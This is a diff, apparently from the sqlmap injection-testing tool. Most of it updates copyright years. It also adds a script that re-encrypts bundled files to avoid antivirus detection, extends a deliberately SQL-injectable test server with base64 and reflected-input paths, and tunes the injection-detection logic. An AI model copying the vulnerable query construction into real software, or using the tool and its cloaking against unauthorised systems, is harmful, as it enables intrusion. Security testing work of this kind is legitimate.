Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -21,7 +21,7 @@ if sys.version_info >= (3, 0):
|
|||||||
xrange = range
|
xrange = range
|
||||||
ord = lambda _: _
|
ord = lambda _: _
|
||||||
|
|
||||||
KEY = b"Beeth7hoyooleeF0"
|
KEY = b"ENWsCymUeJcXqSbD"
|
||||||
|
|
||||||
def xor(message, key):
|
def xor(message, key):
|
||||||
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
|
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
"""
|
"""
|
||||||
dbgtool.py - Portable executable to ASCII debug script converter
|
dbgtool.py - Portable executable to ASCII debug script converter
|
||||||
|
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Removes trailing spaces from blank lines inside project files
|
# Removes trailing spaces from blank lines inside project files
|
||||||
|
|||||||
@@ -1,13 +1,13 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Stress test against Python3
|
# Stress test against Python3
|
||||||
|
|
||||||
export SQLMAP_DREI=1
|
export SQLMAP_DREI=1
|
||||||
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
|
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
|
||||||
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
|
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
|
||||||
unset SQLMAP_DREI
|
unset SQLMAP_DREI
|
||||||
source `dirname "$0"`"/junk.sh"
|
source `dirname "$0"`"/junk.sh"
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Removes duplicate entries in wordlist like files
|
# Removes duplicate entries in wordlist like files
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
|
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# sudo pip install modernize
|
# sudo pip install modernize
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
|
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs py2diatra on all python files (prerequisite: pip install pydiatra)
|
# Runs py3diatra on all python files (prerequisite: pip install pydiatra)
|
||||||
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py2diatra '{}' \; | grep -v bare-except
|
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py3diatra '{}' \; | grep -v bare-except
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
|
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
|
||||||
|
|||||||
6
extra/shutils/pylint.sh
Executable file
6
extra/shutils/pylint.sh
Executable file
@@ -0,0 +1,6 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
|
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \;
|
||||||
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
16
extra/shutils/recloak.sh
Executable file
16
extra/shutils/recloak.sh
Executable file
@@ -0,0 +1,16 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# NOTE: this script is for dev usage after AV something something
|
||||||
|
|
||||||
|
DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
|
||||||
|
|
||||||
|
cd $DIR/../..
|
||||||
|
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
|
||||||
|
|
||||||
|
cd $DIR/../cloak
|
||||||
|
sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
|
||||||
|
|
||||||
|
cd $DIR/../..
|
||||||
|
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
|
||||||
|
|
||||||
|
git clean -f > /dev/null
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,12 +3,13 @@
|
|||||||
"""
|
"""
|
||||||
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
|
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
|
||||||
|
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import print_function
|
from __future__ import print_function
|
||||||
|
|
||||||
|
import base64
|
||||||
import json
|
import json
|
||||||
import re
|
import re
|
||||||
import sqlite3
|
import sqlite3
|
||||||
@@ -97,6 +98,7 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
|
|
||||||
if "<script>" in unquote_plus(query):
|
if "<script>" in unquote_plus(query):
|
||||||
self.send_response(INTERNAL_SERVER_ERROR)
|
self.send_response(INTERNAL_SERVER_ERROR)
|
||||||
|
self.send_header("X-Powered-By", "Express")
|
||||||
self.send_header("Connection", "close")
|
self.send_header("Connection", "close")
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
|
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
|
||||||
@@ -127,7 +129,6 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
self.url, self.params = path, params
|
self.url, self.params = path, params
|
||||||
|
|
||||||
if self.url == '/':
|
if self.url == '/':
|
||||||
|
|
||||||
if not any(_ in self.params for _ in ("id", "query")):
|
if not any(_ in self.params for _ in ("id", "query")):
|
||||||
self.send_response(OK)
|
self.send_response(OK)
|
||||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||||
@@ -138,19 +139,28 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
code, output = OK, ""
|
code, output = OK, ""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
|
||||||
if self.params.get("echo", ""):
|
if self.params.get("echo", ""):
|
||||||
output += "%s<br>" % self.params["echo"]
|
output += "%s<br>" % self.params["echo"]
|
||||||
|
|
||||||
|
if self.params.get("reflect", ""):
|
||||||
|
output += "%s<br>" % self.params.get("id")
|
||||||
|
|
||||||
with _lock:
|
with _lock:
|
||||||
if "query" in self.params:
|
if "query" in self.params:
|
||||||
_cursor.execute(self.params["query"])
|
_cursor.execute(self.params["query"])
|
||||||
elif "id" in self.params:
|
elif "id" in self.params:
|
||||||
|
if "base64" in self.params:
|
||||||
|
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
|
||||||
|
else:
|
||||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
||||||
results = _cursor.fetchall()
|
results = _cursor.fetchall()
|
||||||
|
|
||||||
output += "<b>SQL results:</b><br>\n"
|
output += "<b>SQL results:</b><br>\n"
|
||||||
|
|
||||||
|
if self.params.get("code", ""):
|
||||||
|
if not results:
|
||||||
|
code = INTERNAL_SERVER_ERROR
|
||||||
|
else:
|
||||||
if results:
|
if results:
|
||||||
output += "<table border=\"1\">\n"
|
output += "<table border=\"1\">\n"
|
||||||
|
|
||||||
@@ -189,7 +199,7 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
self.do_REQUEST()
|
self.do_REQUEST()
|
||||||
|
|
||||||
def do_PUT(self):
|
def do_PUT(self):
|
||||||
self.do_REQUEST()
|
self.do_POST()
|
||||||
|
|
||||||
def do_HEAD(self):
|
def do_HEAD(self):
|
||||||
self.do_REQUEST()
|
self.do_REQUEST()
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
|
|||||||
from lib.core.common import hashDBRetrieve
|
from lib.core.common import hashDBRetrieve
|
||||||
from lib.core.common import hashDBWrite
|
from lib.core.common import hashDBWrite
|
||||||
from lib.core.common import intersect
|
from lib.core.common import intersect
|
||||||
|
from lib.core.common import isDigit
|
||||||
from lib.core.common import joinValue
|
from lib.core.common import joinValue
|
||||||
from lib.core.common import listToStrValue
|
from lib.core.common import listToStrValue
|
||||||
from lib.core.common import parseFilePaths
|
from lib.core.common import parseFilePaths
|
||||||
@@ -117,7 +118,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
threadData = getCurrentThreadData()
|
threadData = getCurrentThreadData()
|
||||||
|
|
||||||
# Favoring non-string specific boundaries in case of digit-like parameter values
|
# Favoring non-string specific boundaries in case of digit-like parameter values
|
||||||
if value.isdigit():
|
if isDigit(value):
|
||||||
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
|
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
|
||||||
boundaries = kb.cache.intBoundaries
|
boundaries = kb.cache.intBoundaries
|
||||||
elif value.isalpha():
|
elif value.isalpha():
|
||||||
@@ -156,6 +157,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# error message, simple heuristic check or via DBMS-specific
|
# error message, simple heuristic check or via DBMS-specific
|
||||||
# payload), ask the user to limit the tests to the fingerprinted
|
# payload), ask the user to limit the tests to the fingerprinted
|
||||||
# DBMS
|
# DBMS
|
||||||
|
|
||||||
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
||||||
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
|
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
|
||||||
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||||
@@ -226,8 +228,8 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# Skip test if the user's wants to test only for a specific
|
# Skip test if the user's wants to test only for a specific
|
||||||
# technique
|
# technique
|
||||||
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
|
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
|
||||||
debugMsg = "skipping test '%s' because the user " % title
|
debugMsg = "skipping test '%s' because user " % title
|
||||||
debugMsg += "specified to test only for "
|
debugMsg += "specified testing of only "
|
||||||
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
|
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
continue
|
continue
|
||||||
@@ -501,6 +503,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# Useful to set kb.matchRatio at first based on False response content
|
# Useful to set kb.matchRatio at first based on False response content
|
||||||
kb.matchRatio = None
|
kb.matchRatio = None
|
||||||
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
||||||
|
suggestion = None
|
||||||
Request.queryPage(genCmpPayload(), place, raise404=False)
|
Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||||
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||||
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
||||||
@@ -526,7 +529,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||||
trueRawResponse = "%s%s" % (trueHeaders, truePage)
|
trueRawResponse = "%s%s" % (trueHeaders, truePage)
|
||||||
|
|
||||||
if trueResult and not(truePage == falsePage and not kb.nullConnection):
|
if trueResult and not(truePage == falsePage and not any((kb.nullConnection, conf.code))):
|
||||||
# Perform the test's False request
|
# Perform the test's False request
|
||||||
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
|
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||||
|
|
||||||
@@ -568,7 +571,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
candidates = sorted(candidates, key=len)
|
candidates = sorted(candidates, key=len)
|
||||||
for candidate in candidates:
|
for candidate in candidates:
|
||||||
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
||||||
conf.string = candidate
|
suggestion = conf.string = candidate
|
||||||
injectable = True
|
injectable = True
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||||
@@ -579,7 +582,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if injectable:
|
if injectable:
|
||||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||||
if all((falseCode, trueCode)) and falseCode != trueCode:
|
if all((falseCode, trueCode)) and falseCode != trueCode:
|
||||||
conf.code = trueCode
|
suggestion = conf.code = trueCode
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -604,7 +607,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
||||||
break
|
break
|
||||||
|
|
||||||
conf.string = candidate
|
suggestion = conf.string = candidate
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -618,12 +621,12 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if re.match(r"\A\w+\Z", candidate):
|
if re.match(r"\A\w+\Z", candidate):
|
||||||
break
|
break
|
||||||
|
|
||||||
conf.notString = candidate
|
suggestion = conf.notString = candidate
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if not any((conf.string, conf.notString, conf.code)):
|
if not suggestion:
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||||
singleTimeLogMessage(infoMsg)
|
singleTimeLogMessage(infoMsg)
|
||||||
|
|
||||||
@@ -650,7 +653,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
except SqlmapConnectionException as ex:
|
except SqlmapConnectionException as ex:
|
||||||
debugMsg = "problem occurred most likely because the "
|
debugMsg = "problem occurred most likely because the "
|
||||||
debugMsg += "server hasn't recovered as expected from the "
|
debugMsg += "server hasn't recovered as expected from the "
|
||||||
debugMsg += "error-based payload used ('%s')" % getSafeExString(ex)
|
debugMsg += "used error-based payload ('%s')" % getSafeExString(ex)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
# In case of time-based blind or stacked queries
|
# In case of time-based blind or stacked queries
|
||||||
@@ -854,7 +857,9 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if not checkFalsePositives(injection):
|
if not checkFalsePositives(injection):
|
||||||
|
if conf.hostname in kb.vulnHosts:
|
||||||
kb.vulnHosts.remove(conf.hostname)
|
kb.vulnHosts.remove(conf.hostname)
|
||||||
|
|
||||||
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
|
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
|
||||||
injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
|
injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
|
||||||
|
|
||||||
@@ -875,8 +880,12 @@ def heuristicCheckDbms(injection):
|
|||||||
to identify with a simple DBMS specific boolean-based test what the DBMS
|
to identify with a simple DBMS specific boolean-based test what the DBMS
|
||||||
may be
|
may be
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = False
|
retVal = False
|
||||||
|
|
||||||
|
if conf.skipHeuristics:
|
||||||
|
return retVal
|
||||||
|
|
||||||
pushValue(kb.injection)
|
pushValue(kb.injection)
|
||||||
kb.injection = injection
|
kb.injection = injection
|
||||||
|
|
||||||
@@ -1030,9 +1039,7 @@ def checkFilteredChars(injection):
|
|||||||
kb.injection = popValue()
|
kb.injection = popValue()
|
||||||
|
|
||||||
def heuristicCheckSqlInjection(place, parameter):
|
def heuristicCheckSqlInjection(place, parameter):
|
||||||
if kb.heavilyDynamic:
|
if conf.skipHeuristics:
|
||||||
debugMsg = "heuristic check skipped because of heavy dynamicity"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
origValue = conf.paramDict[place][parameter]
|
origValue = conf.paramDict[place][parameter]
|
||||||
@@ -1071,7 +1078,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||||||
|
|
||||||
casting = _(page) and not _(kb.originalPage)
|
casting = _(page) and not _(kb.originalPage)
|
||||||
|
|
||||||
if not casting and not result and kb.dynamicParameter and origValue.isdigit():
|
if not casting and not result and kb.dynamicParameter and origValue.isdigit() and not kb.heavilyDynamic:
|
||||||
randInt = int(randomInt())
|
randInt = int(randomInt())
|
||||||
payload = "%s%s%s" % (prefix, "%d-%d" % (int(origValue) + randInt, randInt), suffix)
|
payload = "%s%s%s" % (prefix, "%d-%d" % (int(origValue) + randInt, randInt), suffix)
|
||||||
payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
|
payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
|
||||||
@@ -1085,6 +1092,11 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||||||
|
|
||||||
kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE
|
kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE
|
||||||
|
|
||||||
|
if kb.heavilyDynamic:
|
||||||
|
debugMsg = "heuristic check stopped because of heavy dynamicity"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
return kb.heuristicTest
|
||||||
|
|
||||||
if casting:
|
if casting:
|
||||||
errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
|
errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
|
||||||
|
|
||||||
@@ -1126,14 +1138,22 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||||||
|
|
||||||
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
||||||
|
|
||||||
if value.lower() in (page or "").lower():
|
# Reference: https://bugs.python.org/issue18183
|
||||||
|
if value.upper() in (page or "").upper():
|
||||||
infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
|
